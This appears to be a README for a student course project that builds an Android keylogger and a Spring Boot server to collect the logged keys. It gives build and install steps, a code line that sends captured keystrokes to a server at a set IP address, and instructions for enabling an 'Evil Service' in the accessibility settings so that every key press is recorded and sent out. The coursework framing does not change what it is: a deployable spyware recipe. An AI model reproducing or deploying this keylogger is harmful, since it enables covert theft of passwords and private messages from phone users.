Android Keylogger

This is a project implemented as Project for the Information Systems Security Course. The main idea is developing a basic key logger for android mobile devices.

Modules

  • keylogapp => Basic Android Java Mobile Application that logs keys
  • keylogweb => Spring Boot Web Application that receives logged keys

How It Works

Usage

  1. Deploy keylogweb application
    • NOTE: your andorid phone must have access to the server that web application running via network or internet etc.
    • You can directly start with following command: 
      mvn clean package spring-boot:run
  2. Prepare keylogapp for deployment
    1. Go To KeyLogger.java
    2. Find the following line 
      sendLog("http://192.168.1.37:8080/keylog/save", keyLog);
    3. Replace 192.168.1.37 with the IP of the machine that you deploy keylogweb
  3. Build APK and Install it on your Android Device
  4. You should enable Evil Service which listens key press and send them to the server
    • after installed the App, you have to open Accessibility settings. (A button named Evil Service is added as a shortcut to directly jump accesibility settings.) Then at the bottom of the page, you will see Evil Service under Downloaded Services. You should enable Evil Service from there. Then it will works.
  5. You can check your browser and you will see that each key-press on your Android phone will be printed to the web-page.
    ! Hint: Do not forget to refresh browser manually. Auto-refresh feature not implemented :)
